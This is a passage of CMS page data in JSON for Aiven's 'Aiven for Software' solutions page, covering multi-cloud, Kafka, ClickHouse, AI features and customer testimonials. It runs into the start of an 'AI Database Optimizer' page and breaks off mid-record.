Innovation"},{"_key":"uvc5mmnqcj67pwdrf7rpit5hd80z4d88","_type":"accordionItem","iconImage":{"_type":"image","asset":{"_ref":"image-3b5c2eab54901c9b1a0e9501a3177ad6e02c7362-24x24-svg","_type":"reference"}},"id":"optimize","panelText":[{"_key":"e5360c88c4be","_type":"block","children":[{"_key":"a36a40d742130","_type":"span","marks":[],"text":"AI is revolutionizing the software industry by automating routine tasks and augmenting developer capabilities. By generating code snippets, suggesting improvements, and even writing entire functions, AI tools dramatically accelerate development cycles."}],"markDefs":[],"style":"normal"}],"title":"Enabling AI-Driven Software"},{"_key":"5mkci9uizv4cjl9oq2t2383mk7c6dmwm","_type":"accordionItem","iconImage":{"_type":"image","asset":{"_ref":"image-1e1ef44fb73b5346c388c66f74fa221fe483b422-24x24-svg","_type":"reference"}},"id":"secure-govern","panelText":[{"_key":"64e64fac7297","_type":"block","children":[{"_key":"265e9f0662aa0","_type":"span","marks":[],"text":"Create value by analyzing customer behavior and software usage patterns to make informed choices for continued growth."}],"markDefs":[],"style":"normal"}],"title":"Data-Powered Growth"},{"_key":"1fd3991443dba455abc66841e7babceb","_type":"accordionItem","iconImage":{"_type":"image","asset":{"_ref":"image-30a5bd1f5d660a3b70fa5c8672d4e8d0ddc69e38-24x24-svg","_type":"reference"}},"id":"secure-govern","panelText":[{"_key":"2da62ea78e9a","_type":"block","children":[{"_key":"762156f4fd460","_type":"span","marks":[],"text":"A multi-cloud approach can deliver faster response times by strategically placing data and applications near users, mitigating single points of failure and improving overall system resilience."}],"markDefs":[],"style":"normal"}],"title":"Multi-Cloud Architecture "}],"noSpaceBottom":false,"noSpaceTop":false,"primaryCTA":{"_type":"link","title":"Discover Aiven Platform"},"roundedCorners":"rounded-tr-bl","subtitle":[{"_key":"442c1c32b80c","_type":"block","children":[{"_key":"b8fdd9be8dbc0","_type":"span","marks":[],"text":"From rapid technological advancements to increasing user demands, software companies must continuously adapt their data and infrastructure management strategies to meet the evolving needs of customers. "}],"markDefs":[],"style":"normal"},{"_key":"dcc1bfcde9ca","_type":"block","children":[{"_key":"58e8212a9c5c","_type":"span","marks":[],"text":"Stay ahead of the curve by focusing on these "},{"_key":"520d372cdf81","_type":"span","marks":["strong"],"text":"key use cases"},{"_key":"a34609de08fc","_type":"span","marks":[],"text":", ultimately accelerating product development and delivering value to customers faster."}],"markDefs":[],"style":"normal"}],"title":"Code in the Cloud","topOverlap":false},{"_key":"4e42dd10fc5d","_type":"cardList","addSpaceBottom":true,"addSpaceTop":false,"align":"center","backgroundColor":{"_ref":"691c748b-6770-40d0-94dc-95f21aa776c8","_type":"reference"},"backgroundPosition":"center center","backgroundPositionMobile":"center center","backgroundSize":"cover","backgroundSizeMobile":"cover","darkTheme":true,"disabled":false,"fullWidth":false,"headerPosition":"default","items":[{"_key":"872799ef5f0f","_type":"cardItem","borderTopColor":{"_ref":"04985b78-1330-4b9d-9643-3b6050b75609","_type":"reference"},"subtitle":[{"_key":"3c489e4f7f02","_type":"block","children":[{"_key":"2a65130a1b8d0","_type":"span","marks":[],"text":"Control your data in your own cloud account, while reducing costs up to 30% by offloading service infrastructure management responsibility to Aiven."}],"markDefs":[],"style":"normal"}],"title":"Bring Your Own Cloud","variant":"icon-card"},{"_key":"5746b40ff915","_type":"cardItem","borderTopColor":{"_ref":"04985b78-1330-4b9d-9643-3b6050b75609","_type":"reference"},"subtitle":[{"_key":"79f119ccca6f","_type":"block","children":[{"_key":"5487a02ee9140","_type":"span","marks":[],"text":"Deploy services with just a few clicks and simplify operations with standardized security, governance, and observability."}],"markDefs":[],"style":"normal"}],"title":"Accelerated development","variant":"icon-card"},{"_key":"c3b68bf57dd5","_type":"cardItem","borderTopColor":{"_ref":"04985b78-1330-4b9d-9643-3b6050b75609","_type":"reference"},"subtitle":[{"_key":"6c70d50d135c","_type":"block","children":[{"_key":"616bbbccf4f60","_type":"span","marks":[],"text":"Ensure business continuity with cross-region and cross-cloud backups, disaster recovery, and dedicated virtual machines featuring a 99.99% uptime SLA."}],"markDefs":[],"style":"normal"}],"title":"Built-in Resiliency","variant":"icon-card"},{"_key":"422eadb4a576","_type":"cardItem","borderTopColor":{"_ref":"04985b78-1330-4b9d-9643-3b6050b75609","_type":"reference"},"subtitle":[{"_key":"c5dcf9766359","_type":"block","children":[{"_key":"81d891dfbcee0","_type":"span","marks":[],"text":"Leverage popular open-source technology and access a vast talent pool to build top solutions while enjoying the freedom to use multiple clouds."}],"markDefs":[],"style":"normal"}],"title":"Open Choice","variant":"icon-card"}],"itemsPerRow":4,"noSpaceBottom":false,"noSpaceTop":false,"primaryCTA":{"_type":"link","internalLink":{"_ref":"3b0bd26a-ed6b-424d-a710-7fe3f17b29de","_type":"reference"},"title":"Discover the Aiven Platform"},"roundedCorners":"rounded-tl-br","subtitle":[{"_key":"7d1b2f033059","_type":"block","children":[{"_key":"d8c74571aa3f0","_type":"span","marks":[],"text":"With Aiven’s open-source data solutions, you can speed-up development cycles, optimize costs, and embrace multi-cloud flexibility – all while Aiven handles the complex data infrastructure behind the scenes."}],"markDefs":[],"style":"normal"},{"_key":"96d4d9f40fc7","_type":"block","children":[{"_key":"c758ad715d8f","_type":"span","marks":[],"text":""}],"markDefs":[],"style":"normal"},{"_key":"63210101f8fd","_type":"block","children":[{"_key":"b810e060e287","_type":"span","marks":[],"text":""}],"markDefs":[],"style":"normal"},{"_key":"0e1de1de0a4a","_type":"block","children":[{"_key":"a39a860cd2ad","_type":"span","marks":[],"text":""}],"markDefs":[],"style":"normal"}],"title":"Why Aiven?","topOverlap":false},{"_key":"vs2ophxip2wrwgmgsvoa2241z8ut5eeq","_type":"tab","addSpaceBottom":false,"addSpaceTop":false,"align":"center","backgroundColor":{"_ref":"5d01a557-a137-4fae-8bfb-d4e00870ff92","_type":"reference"},"backgroundPosition":"center center","backgroundPositionMobile":"center center","backgroundSize":"cover","backgroundSizeMobile":"cover","disabled":false,"fullWidth":true,"items":[{"_key":"ejsckhr6tc3sqr4q7dyocpk4k4kyu5vm","_type":"tabItem","content":[{"_key":"xw38crf5854fuzr6v749k6pbk126qvsy","_type":"textImage","addSpaceBottom":false,"addSpaceTop":false,"backgroundPosition":"center center","backgroundPositionMobile":"center center","backgroundSize":"cover","backgroundSizeMobile":"cover","disabled":false,"fullWidth":false,"image":{"_type":"mainImage","asset":{"_ref":"image-df62a7e4ead5f03dfaec9c8b07f1096bb32c0330-1616x1506-png","_type":"reference"}},"imagePosition":"top","mediaWidth":"default","mobileImageSetting":"default","noSpaceBottom":false,"noSpaceTop":false,"roundedCorners":"rounded-none","text":[{"_key":"14bfe2a8541e","_type":"block","children":[{"_key":"254840fa32870","_type":"span","marks":[],"text":"Real-time Analytics"}],"markDefs":[],"style":"h3"},{"_key":"dfa00b00d2ca","_type":"block","children":[{"_key":"b917d731fe5f0","_type":"span","marks":["strong"],"text":"Optimized Product Development:"},{"_key":"b917d731fe5f1","_type":"span","marks":[],"text":" Rapidly identify product usage patterns and feature gaps to prioritize development efforts accordingly."}],"markDefs":[],"style":"normal"},{"_key":"b71bfbda9a2d","_type":"block","children":[{"_key":"35742ee33fa5","_type":"span","marks":["strong"],"text":"Accelerated Time-to-Insight:"},{"_key":"6ee80c25cf05","_type":"span","marks":[],"text":" Enable decision-making and problem-solving by uncovering trends, anomalies, and opportunities through the data in your analytical layer. "}],"markDefs":[],"style":"normal"},{"_key":"91699e05eeac","_type":"block","children":[{"_key":"5182149d428c0","_type":"span","marks":["strong"],"text":"Reduced Operational Overhead:"},{"_key":"5182149d428c1","_type":"span","marks":[],"text":" Efficiently stream data changes to minimize the burden on operational systems and ensure critical business processes continue to run smoothly."}],"markDefs":[],"style":"normal"},{"_key":"d457ed9bd5d3","_type":"block","children":[{"_key":"658ba95b55dd","_type":"span","marks":[],"text":""}],"markDefs":[],"style":"normal"},{"_key":"84d7c59c75bc","_type":"block","children":[{"_key":"3968039b3eb2","_type":"span","marks":[],"text":"How?"}],"markDefs":[],"style":"h6"},{"_key":"702323de884b","_type":"block","children":[{"_key":"d1cb748977840","_type":"span","marks":[],"text":"Move your operational data to the analytical layer seamlessly with Aiven for ClickHouse native integration or Aiven for Apache Kafka + Aiven for Apache Kafka Connect"}],"level":1,"listItem":"bullet","markDefs":[],"style":"normal"},{"_key":"9dfd3e95201e","_type":"block","children":[{"_key":"05a7ff16a91a0","_type":"span","marks":[],"text":"Leverage materialized views to feed insights back into your operational layer to drive real-time, data-driven decision making"}],"level":1,"listItem":"bullet","markDefs":[],"style":"normal"},{"_key":"fa36f69822ec","_type":"block","children":[{"_key":"412cfbad2b48","_type":"span","marks":[],"text":"Provide sub-second analytics on top of large data sets without burdening your operational layer"}],"level":1,"listItem":"bullet","markDefs":[],"style":"normal"},{"_key":"ed5e72a0d3c4","_type":"block","children":[{"_key":"7999d36cb1e8","_type":"span","marks":[],"text":"Learn more:"}],"markDefs":[],"style":"h6"},{"_key":"722793137b6e","_type":"block","children":[{"_key":"77ab07a94e0f0","_type":"span","marks":["50a537ac2eff"],"text":"Connecting Apache Kafka® and Aiven for ClickHouse®"}],"level":1,"listItem":"bullet","markDefs":[{"_key":"50a537ac2eff","_type":"internalLink","internalLink":{"_ref":"28fdc694-77e0-4f97-9cfa-a31210ccf841","_type":"reference"}}],"style":"normal"},{"_key":"8acfc7596e0a","_type":"block","children":[{"_key":"2695da9bac08","_type":"span","marks":["976b5b8c29d4"],"text":"Materialized Views in Aiven for ClickHouse® Optimize Queries for Speed and Freshness"}],"level":1,"listItem":"bullet","markDefs":[{"_key":"976b5b8c29d4","_type":"internalLink","internalLink":{"_ref":"a6e96484-2c71-4574-9297-d68a69f822d7","_type":"reference"}}],"style":"normal"}],"topOverlap":false,"variant":"mediaLeft"}],"id":"real-time-analytics","imageHeight":35,"title":"Real-Time Analytics"},{"_key":"6g9se79ewqru94do9r7a2i0p2xmh0q4f","_type":"tabItem","content":[{"_key":"nhmc0dpusj69qq1gdjvbc6kzfz8g5qz2","_type":"textImage","addSpaceBottom":false,"addSpaceTop":false,"backgroundPosition":"center center","backgroundPositionMobile":"center center","backgroundSize":"cover","backgroundSizeMobile":"cover","disabled":false,"fullWidth":false,"image":{"_type":"mainImage","asset":{"_ref":"image-c9b49f8393d6a84b9551d015e03c685e059ce199-962x1212-png","_type":"reference"}},"imagePosition":"top","mediaWidth":"default","mobileImageSetting":"default","noSpaceBottom":false,"noSpaceTop":false,"roundedCorners":"rounded-none","text":[{"_key":"64wrud6znwkk07pnzqgkug9ikdvmfq30","_type":"block","children":[{"_key":"cf3b4c0739b3","_type":"span","marks":[],"text":"Multi-Cloud"}],"markDefs":[],"style":"h4"},{"_key":"7548935a8038","_type":"block","children":[{"_key":"807ab64055a00","_type":"span","marks":["strong"],"text":"Cost Reduction: "},{"_key":"807ab64055a01","_type":"span","marks":[],"text":"Leverage discounts and pricing plans across providers to select the most cost-effective solution for your cloud needs."}],"markDefs":[],"style":"normal"},{"_key":"e34e070f9b68","_type":"block","children":[{"_key":"c058862a8dff0","_type":"span","marks":["strong"],"text":"Disaster Recovery:"},{"_key":"c058862a8dff1","_type":"span","marks":[],"text":" Reduce reliance on a single cloud provider and distribute critical systems across multiple clouds to ensure business continuity."}],"markDefs":[],"style":"normal"},{"_key":"8f99ac0127d2","_type":"block","children":[{"_key":"8f88e2fbc8820","_type":"span","marks":["strong"],"text":"Optimal Workload Placement: "},{"_key":"e4269351609f","_type":"span","marks":[],"text":"Enhance performance by strategically distributing your workloads across cloud providers that best match their requirements."}],"markDefs":[],"style":"normal"},{"_key":"97971a0dd197","_type":"block","children":[{"_key":"7619babbbd5c","_type":"span","marks":[],"text":""}],"markDefs":[],"style":"normal"},{"_key":"66e4a7a3b7dd","_type":"block","children":[{"_key":"30147709677a","_type":"span","marks":[],"text":"How?"}],"markDefs":[],"style":"h6"},{"_key":"f7a02a279118","_type":"block","children":[{"_key":"878c85e74460","_type":"span","marks":[],"text":"Seamlessly move data between your source and the ideal region and cloud environment to enable analytics or subsequent processing"}],"level":1,"listItem":"bullet","markDefs":[],"style":"normal"},{"_key":"1d943fa96007","_type":"block","children":[{"_key":"d1ddb9db59dd0","_type":"span","marks":[],"text":"Create remote, read-only replicas local to your users"}],"level":1,"listItem":"bullet","markDefs":[],"style":"normal"},{"_key":"889fe7652288","_type":"block","children":[{"_key":"cc7af86f9a5e0","_type":"span","marks":[],"text":"Innovate using the latest cloud technologies while seamlessly ensuring real-time, cost-effective data accessibility"}],"level":1,"listItem":"bullet","markDefs":[],"style":"normal"},{"_key":"9a8f4dc46e3e","_type":"block","children":[{"_key":"89a598bb6a3c","_type":"span","marks":[],"text":"Learn more:"}],"markDefs":[],"style":"h6"},{"_key":"f31bfbec4bf5","_type":"block","children":[{"_key":"a07ba6e05a5c","_type":"span","marks":["9dffa5659876"],"text":"Deploy Services to Multiple Clouds and Regions"}],"level":1,"listItem":"bullet","markDefs":[{"_key":"9dffa5659876","_type":"internalLink","internalLink":{"_ref":"7f525a3a-c78e-4031-b8c6-458db8ca7430","_type":"reference"}}],"style":"normal"},{"_key":"5f8bced289c8","_type":"block","children":[{"_key":"4fd82f5dd824","_type":"span","marks":[],"text":""}],"markDefs":[],"style":"normal"},{"_key":"lnjgvcdvewpik53fpgo9rma04ro9eya4","_type":"block","children":[{"_key":"sp1rdrobwgmwufgaxnhxxw3bxn8t6tav","_type":"span","marks":[],"text":"\n"}],"markDefs":[],"style":"normal"}],"topOverlap":false,"variant":"mediaLeft"}],"id":"multi-cloud","imageHeight":35,"title":"Multi-Cloud"},{"_key":"n2sniov2pk7mb888v9scdb96pxozfr59","_type":"tabItem","content":[{"_key":"32z0tfy5200zdskvqk4i2gl0ttr17qe5","_type":"textImage","addSpaceBottom":false,"addSpaceTop":false,"backgroundPosition":"center center","backgroundPositionMobile":"center center","backgroundSize":"cover","backgroundSizeMobile":"cover","disabled":false,"fullWidth":false,"image":{"_type":"mainImage","asset":{"_ref":"image-818eb2dad5eb6d37cba3d97df6d84950b52acc76-1696x1394-png","_type":"reference"}},"imagePosition":"top","mediaWidth":"default","mobileImageSetting":"default","noSpaceBottom":false,"noSpaceTop":false,"roundedCorners":"rounded-none","text":[{"_key":"757e05f29240","_type":"block","children":[{"_key":"18b6d84ab98f0","_type":"span","marks":[],"text":"Event-Driven Architecture"}],"markDefs":[],"style":"h3"},{"_key":"760f31f620a0","_type":"block","children":[{"_key":"30b3f18ca8ba0","_type":"span","marks":["strong"],"text":"Accelerated Time-to-Market:"},{"_key":"30b3f18ca8ba1","_type":"span","marks":[],"text":" Faster development and deployment cycles through independent component management."}],"markDefs":[],"style":"normal"},{"_key":"2fab6e605507","_type":"block","children":[{"_key":"1e563c32a5470","_type":"span","marks":["strong"],"text":"Scalability"},{"_key":"1e563c32a5471","_type":"span","marks":[],"text":": Automatically scale your application up or down to meet demand, in addition to scaling components independently of each other."}],"markDefs":[],"style":"normal"},{"_key":"d537ea408357","_type":"block","children":[{"_key":"575954ea9ea90","_type":"span","marks":["strong"],"text":"Built-in Resiliency:"},{"_key":"575954ea9ea91","_type":"span","marks":[],"text":" The loose coupling of components means if one microservice is brought down, the application can still continue to run."}],"markDefs":[],"style":"normal"},{"_key":"80e991efad50","_type":"block","children":[{"_key":"c8e5d187b29c","_type":"span","marks":[],"text":""}],"markDefs":[],"style":"normal"},{"_key":"a780f5581799","_type":"block","children":[{"_key":"8531aa1fe155","_type":"span","marks":[],"text":"How?"}],"markDefs":[],"style":"h6"},{"_key":"ff767ba83526","_type":"block","children":[{"_key":"c633b216dd720","_type":"span","marks":[],"text":"Stream data from your operational databases via dedicated change data capture "}],"level":1,"listItem":"bullet","markDefs":[],"style":"normal"},{"_key":"06e1325876fd","_type":"block","children":[{"_key":"9436008b3bf50","_type":"span","marks":[],"text":"Decouple data producers and consumers through dedicated topics in Aiven for Apache Kafka"}],"level":1,"listItem":"bullet","markDefs":[],"style":"normal"},{"_key":"28f26b6a219e","_type":"block","children":[{"_key":"4b01fa5c34b40","_type":"span","marks":[],"text":"Secure and govern real-time data via streaming transformation in Aiven for Apache Flink"}],"level":1,"listItem":"bullet","markDefs":[],"style":"normal"},{"_key":"6a128138fa47","_type":"block","children":[{"_key":"f17568d15c8f","_type":"span","marks":[],"text":"Learn more: "}],"markDefs":[],"style":"h6"},{"_key":"4ccd6377537a","_type":"block","children":[{"_key":"faf9d4abc7cb","_type":"span","marks":["547f30c607e4"],"text":"Build Serverless Event-Driven Architectures"}],"level":1,"listItem":"bullet","markDefs":[{"_key":"547f30c607e4","_type":"internalLink","internalLink":{"_ref":"6756931c-b09f-49b2-b32f-43c33703e39d","_type":"reference"}}],"style":"normal"}],"topOverlap":false,"variant":"mediaLeft"}],"id":"event-driven-architecture","imageHeight":35,"title":"Event-Driven Architecture"},{"_key":"5gtojzh5hc1b986j56h7z653w3bn7pfn","_type":"tabItem","content":[{"_key":"yx759golacvh1m3ueljyig00lz20b769","_type":"textImage","addSpaceBottom":false,"addSpaceTop":false,"backgroundPosition":"center center","backgroundPositionMobile":"center center","backgroundSize":"cover","backgroundSizeMobile":"cover","disabled":false,"fullWidth":false,"image":{"_type":"mainImage","asset":{"_ref":"image-ce3829e772af43f4fc23cd33ac1f78bb47eab8bf-1226x1394-png","_type":"reference"}},"imagePosition":"top","mediaWidth":"default","mobileImageSetting":"default","noSpaceBottom":false,"noSpaceTop":false,"roundedCorners":"rounded-none","text":[{"_key":"6g7tkq3wd1skpicmakntfer2id87xggy","_type":"block","children":[{"_key":"d9e29bff0a5e","_type":"span","marks":[],"text":"AI-Powered Performance"}],"markDefs":[],"style":"h4"},{"_key":"9251a7380b04","_type":"block","children":[{"_key":"b71cc0bcaeb40","_type":"span","marks":["strong"],"text":"Improved productivity: "},{"_key":"b71cc0bcaeb41","_type":"span","marks":[],"text":"Automate repetitive tasks, such as code generation, to allow developers to focus on more complex features and product innovation."}],"markDefs":[],"style":"normal"},{"_key":"839bb4803e03","_type":"block","children":[{"_key":"586463b75dca0","_type":"span","marks":["strong"],"text":"Increased accuracy: "},{"_key":"586463b75dca1","_type":"span","marks":[],"text":"Review software code and flag bugs, leading to improved code quality and reduced downtime."}],"markDefs":[],"style":"normal"},{"_key":"c15a52f4ed7d","_type":"block","children":[{"_key":"e8d4f5f364eb0","_type":"span","marks":["strong"],"text":"Seamless AI Integration: "},{"_key":"e8d4f5f364eb1","_type":"span","marks":[],"text":"Utilize vector capabilities in well-adopted databases to easily deploy AI models into your production environments."}],"markDefs":[],"style":"normal"},{"_key":"931066f36012","_type":"block","children":[{"_key":"bb2ffe42f404","_type":"span","marks":[],"text":""}],"markDefs":[],"style":"normal"},{"_key":"e59a5865ccfd","_type":"block","children":[{"_key":"3bda52917746","_type":"span","marks":[],"text":"How?"}],"markDefs":[],"style":"h6"},{"_key":"a1d2870577a9","_type":"block","children":[{"_key":"3f22cedbbf240","_type":"span","marks":[],"text":"Leverage "},{"_key":"291c8690ff5b","_type":"span","marks":["1d03e16d5c1f","e1eb35c6b6e6"],"text":"Aiven’s AI Database Optimizer"},{"_key":"7f1e8ba36403","_type":"span","marks":[],"text":" to fully optimize your database queries"}],"level":1,"listItem":"bullet","markDefs":[{"_key":"1d03e16d5c1f","_type":"internalLink","internalLink":{"_ref":"e1b9d5ed-f457-4a71-9b77-9e6bb54fca2e","_type":"reference"}},{"_key":"e1eb35c6b6e6","_type":"internalLink","internalLink":{"_ref":"e1b9d5ed-f457-4a71-9b77-9e6bb54fca2e","_type":"reference"}}],"style":"normal"},{"_key":"2975cf5173a8","_type":"block","children":[{"_key":"2b8868a62fa90","_type":"span","marks":[],"text":"Use the power of Aiven’s analytical databases to find outliers in your data"}],"level":1,"listItem":"bullet","markDefs":[],"style":"normal"},{"_key":"1b3297b19ed6","_type":"block","children":[{"_key":"56bbdcc193e0","_type":"span","marks":[],"text":"Simplify your GenAI implementation with proven technology, leveraging our platform's compatibility with databases like PostgreSQL, ClickHouse, OpenSearch, and Dragonfly."}],"level":1,"listItem":"bullet","markDefs":[],"style":"normal"},{"_key":"5f0a082488b2","_type":"block","children":[{"_key":"d042dc65706d","_type":"span","marks":[],"text":"Learn more:"}],"markDefs":[],"style":"h6"},{"_key":"4ec720f524af","_type":"block","children":[{"_key":"58c6fb3de1d3","_type":"span","marks":["648eeb311699"],"text":"Aiven's AI Database Optimizer Blog"}],"level":1,"listItem":"bullet","markDefs":[{"_key":"648eeb311699","_type":"internalLink","internalLink":{"_ref":"e6c815e6-81b6-4fb9-8269-072853775316","_type":"reference"}}],"style":"normal"},{"_key":"fc64115cee08","_type":"block","children":[{"_key":"b380c905228c","_type":"span","marks":["90f9e4e3b7e5"],"text":"Develop and Leverage AI Models in Clickhouse"}],"level":1,"listItem":"bullet","markDefs":[{"_key":"90f9e4e3b7e5","_type":"internalLink","internalLink":{"_ref":"fe0e3023-05d0-4a30-830b-6c03fb4e23c7","_type":"reference"}}],"style":"normal"},{"_key":"f65384454cb7","_type":"block","children":[{"_key":"bffb464279d1","_type":"span","marks":[],"text":""}],"markDefs":[],"style":"normal"}],"topOverlap":false,"variant":"mediaLeft"}],"id":"ai-powered","imageHeight":35,"title":"AI-Powered Performance"}],"noSpaceBottom":false,"noSpaceTop":false,"roundedCorners":"rounded-none","title":"How does it all work together","topOverlap":false,"variant":"button-toggle"},{"_key":"690f73dedc4c","_type":"testimonial","disabled":false,"fullWidth":false,"items":[{"_key":"e5bff58e1458","_type":"testimonialItem","company":{"_ref":"540d62ad-dad5-4a28-9c54-94f436709b92","_type":"reference"},"content":[{"_key":"f84dc1d6e032","_type":"block","children":[{"_key":"14f0cea4b8f70","_type":"span","marks":[],"text":"Avaya, a global leader in customer experience solutions supporting more than 6 million contact center seats worldwide,"}],"markDefs":[],"style":"small"},{"_key":"b24d3c805480","_type":"block","children":[{"_key":"7141cdffb6b9","_type":"span","marks":[],"text":""}],"markDefs":[],"style":"normal"},{"_key":"64424c7d58e3","_type":"block","children":[{"_key":"36fbe4d1d1050","_type":"span","marks":[],"text":"“Aiven helps us stay focused on our core mandate of automating the Avaya Experience Platform and enabling innovation — rather than having resources stuck on maintenance activities.”"}],"markDefs":[],"style":"normal"}],"ctaLink":{"_type":"link","internalLink":{"_ref":"cb009e59-7ab2-4357-9574-17e640b69477","_type":"reference"},"title":"Read the Avaya case study"},"image":{"_type":"mainImage","asset":{"_ref":"image-d8c2c332fc130185ddcd23a9db19888529982e0a-1200x343-png","_type":"reference"}},"jobTitle":"Chief Information Security Officer","name":"Chris Hill"},{"_key":"997ccf1c60f9","_type":"testimonialItem","company":{"_ref":"3aeed013-8049-4126-87df-a37af41ae111","_type":"reference"},"content":[{"_key":"24618efccf84","_type":"block","children":[{"_key":"2115e205b5e30","_type":"span","marks":[],"text":"Hookdeck, a fast-growing tech start-up providing reliable webhook infrastructure to hundreds of customers worldwide including Canal, Contra, Gorgias and Gemini,"}],"markDefs":[],"style":"small"},{"_key":"c1b22d6019fa","_type":"block","children":[{"_key":"6b373cd1f18e","_type":"span","marks":[],"text":""}],"markDefs":[],"style":"normal"},{"_key":"81887266b445","_type":"block","children":[{"_key":"2d72e2f5bcf50","_type":"span","marks":[],"text":"“We only have one vendor to onboard, everything is compliant and billing is consolidated. From an engineering perspective, we’re dealing with something that’s familiar and, because all the services are integrated, adding another one is really easy.”"}],"markDefs":[],"style":"normal"}],"ctaLink":{"_type":"link","internalLink":{"_ref":"52573ae1-b86a-4fca-9ad8-9893a5596585","_type":"reference"},"title":"Read the Hookdeck case study"},"image":{"_type":"mainImage","asset":{"_ref":"image-12c0b77c2bd91058ad005fe10789c116af49c795-140x17-svg","_type":"reference"}},"jobTitle":"Founding Engineer and CTO","name":"Maurice Kherlakian"},{"_key":"062584a5ffbe","_type":"testimonialItem","company":{"_ref":"d9c42125-e7a0-4947-ae50-0ecc71c3c62e","_type":"reference"},"content":[{"_key":"98a7d43b1713","_type":"block","children":[{"_key":"5fe53d736ae70","_type":"span","marks":[],"text":"Supermetrics, an organization integrating data across 150+ platforms and fueling insights for 200K+ companies,"}],"markDefs":[],"style":"small"},{"_key":"f891d66f8a54","_type":"block","children":[{"_key":"83e93d8a63d4","_type":"span","marks":[],"text":""}],"markDefs":[],"style":"normal"},{"_key":"7eae42a9a6f3","_type":"block","children":[{"_key":"ba19aa15dfdf0","_type":"span","marks":[],"text":"“There's business challenges all around the world. So for example, what used to be, “it's okay, you can process everything you have in the one place,”–no longer. We have to serve our EU customers inside the EU. There may be a situation where a customer might say, “I don't want to be in this cloud. I want to be in another cloud.” These are the kinds of problems that Aiven, for example, is helping us solve and scale.”"}],"markDefs":[],"style":"normal"}],"ctaLink":{"_type":"link","internalLink":{"_ref":"f199e025-baca-4d0a-a3ae-a8a246e01b6d","_type":"reference"},"title":"Read the Supermetrics customer story"},"image":{"_type":"mainImage","asset":{"_ref":"image-23003fdfdf4f0b3a9ff87d092bb14d2ae97fb177-800x182-png","_type":"reference"}},"jobTitle":"CTO","name":"Duleepa \"Dups\" Wijayawardhana"}],"title":"Customer spotlight","variant":"logo"},{"_key":"77045f7c9531","_type":"textColumn","addSpaceBottom":false,"addSpaceTop":false,"backgroundColor":{"_ref":"691c748b-6770-40d0-94dc-95f21aa776c8","_type":"reference"},"darkTheme":true,"disabled":false,"fullWidth":true,"primaryCTA":{"_type":"link","internalLink":{"_ref":"8930abef-2819-4638-b11a-a3a2e33e18ff","_type":"reference"},"title":"Book a demo"},"roundedCorners":"rounded-t","secondaryCTA":{"_type":"link","internalLink":{"_ref":"3b0bd26a-ed6b-424d-a710-7fe3f17b29de","_type":"reference"},"title":"Discover Aiven Platform"},"subtitle":[{"_key":"6435b65ebdb3","_type":"block","children":[{"_key":"e587e58eb5ed0","_type":"span","marks":[],"text":"Ready to elevate your software with Aiven? Experience the power of our cloud-based data platform, designed to streamline development, accelerate time-to-market, and drive innovation. Move your data infrastructure to Aiven and unlock new possibilities."}],"markDefs":[],"style":"normal"}],"title":"The future of data is here","variant":"centerColumn"}],"seo":{"_type":"metaData","metaDescription":"Let Aiven handle your data infrastructure so you can focus on what you do best: building cutting-edge products.","metaImage":{"_type":"mainImage","asset":{"_ref":"image-7801503e370fe8a21d719ba8e8c95d653a0a83b9-1200x630-jpg","_type":"reference"}},"metaTitle":"Aiven for Software"},"slug":{"_type":"slug","current":"/solutions/aiven-for-software"},"title":"Aiven for Software"} {"__i18n_lang":"en","_createdAt":"2024-03-07T13:47:38Z","_id":"e1b9d5ed-f457-4a71-9b77-9e6bb54fca2e","_rev":"aLIIQ7Q5L2eXkJOQZTqcUp","_type":"solution","_updatedAt":"2025-01-09T16:39:32Z","content":[{"_key":"6ab04b26af13","_type":"hero","addSpaceBottom":false,"addSpaceTop":false,"backgroundColor":{"_ref":"208391d6-8aef-4dd2-a370-4b96150945b5","_type":"reference"},"backgroundImage":{"_type":"mainImage","asset":{"_ref":"image-4f5f67b919f1bfdaa97f014c011d7bd4b32ccb64-1440x565-svg","_type":"reference"}},"backgroundPosition":"center center","backgroundPositionMobile":"center center","backgroundSize":"cover","backgroundSizeMobile":"cover","breadcrumbs":{"currentPage":"Aiven AI Database Optimizer","parentPage":{"_type":"link","internalLink":{"_ref":"02642665-bb66-4535-bc74-65b55ce0fd0d","_type":"reference"},"title":"All solutions"}},"darkTheme":true,"description":[{"_key":"646a7115a70e","_type":"block","children":[{"_key":"ec35061d0a38","_type":"span","marks":[],"text":"Troubleshoot PostgreSQL® and MySQL performance issues within seconds, get instant optimization recommendations, and reduce your databases cost, powered by AI. "}],"markDefs":[],"style":"normal"}],"disabled":false,"fullWidth":false,"headline":[{"_key":"0a09c66bcd08","_type":"block","children":[{"_key":"16297565190c0","_type":"span","marks":[],"text":"Optimize your database workloads with "},{"_key":"94a627e7d1a2","_type":"span","marks":["color-primary"],"text":"AI"}],"markDefs":[],"style":"h1"},{"_key":"94ba5dec0077","_type":"block","children":[{"_key":"fc3628cc2e430","_type":"span","marks":[],"text":"Troubleshoot PostgreSQL® and MySQL database performance issues within seconds, get instant optimization recommendations, and reduce your databases cost."}],"markDefs":[],"style":"normal"}],"heroHasVideo":true,"imageSize":"default","noSpaceBottom":false,"noSpaceTop":false,"primaryCTA":{"_type":"link","externalUrl":"#demo","title":"Interactive demo"},"roundedCorners":"rounded-none","secondaryCTA":{"_type":"link","externalUrl":"https://console.aiven.io/signup","title":"Try it now"},"title":"Optimize your database workloads with AI","titleMultiColor":true,"variant":"default","videoHosting":"wistia","wistiaId":{"_type":"wistiaMedia","hashed_id":"0rmo1g7syl","id":122645061},"ytId":"5ZyxAsWqp4Y"},{"_key":"ff4be6e122d3","_type":"logoList","addSpaceBottom":false,"addSpaceTop":false,"align":"left","backgroundColor":{"_ref":"a8d709ce-37bd-41f2-99fd-a5108a266e5c","_type":"reference"},"backgroundPosition":"center center","backgroundPositionMobile":"center center","backgroundSize":"cover","backgroundSizeMobile":"cover","disabled":false,"fullWidth":true,"logos":[{"_key":"2f6a21105f9e","_ref":"8775d948-c5a8-4474-ad75-d216dce3f592","_type":"reference"},{"_key":"5ad3e883af12","_ref":"74af5246-d9b6-41ea-aeca-e98e57b46797","_type":"reference"}],"noSpaceBottom":false,"noSpaceTop":false,"roundedCorners":"rounded-b","tagline":"Supported databases","variant":"logo"},{"_key":"ab9ea383a3bb","_type":"logoList","addSpaceBottom":false,"addSpaceTop":false,"align":"center","backgroundPosition":"center center","backgroundPositionMobile":"center 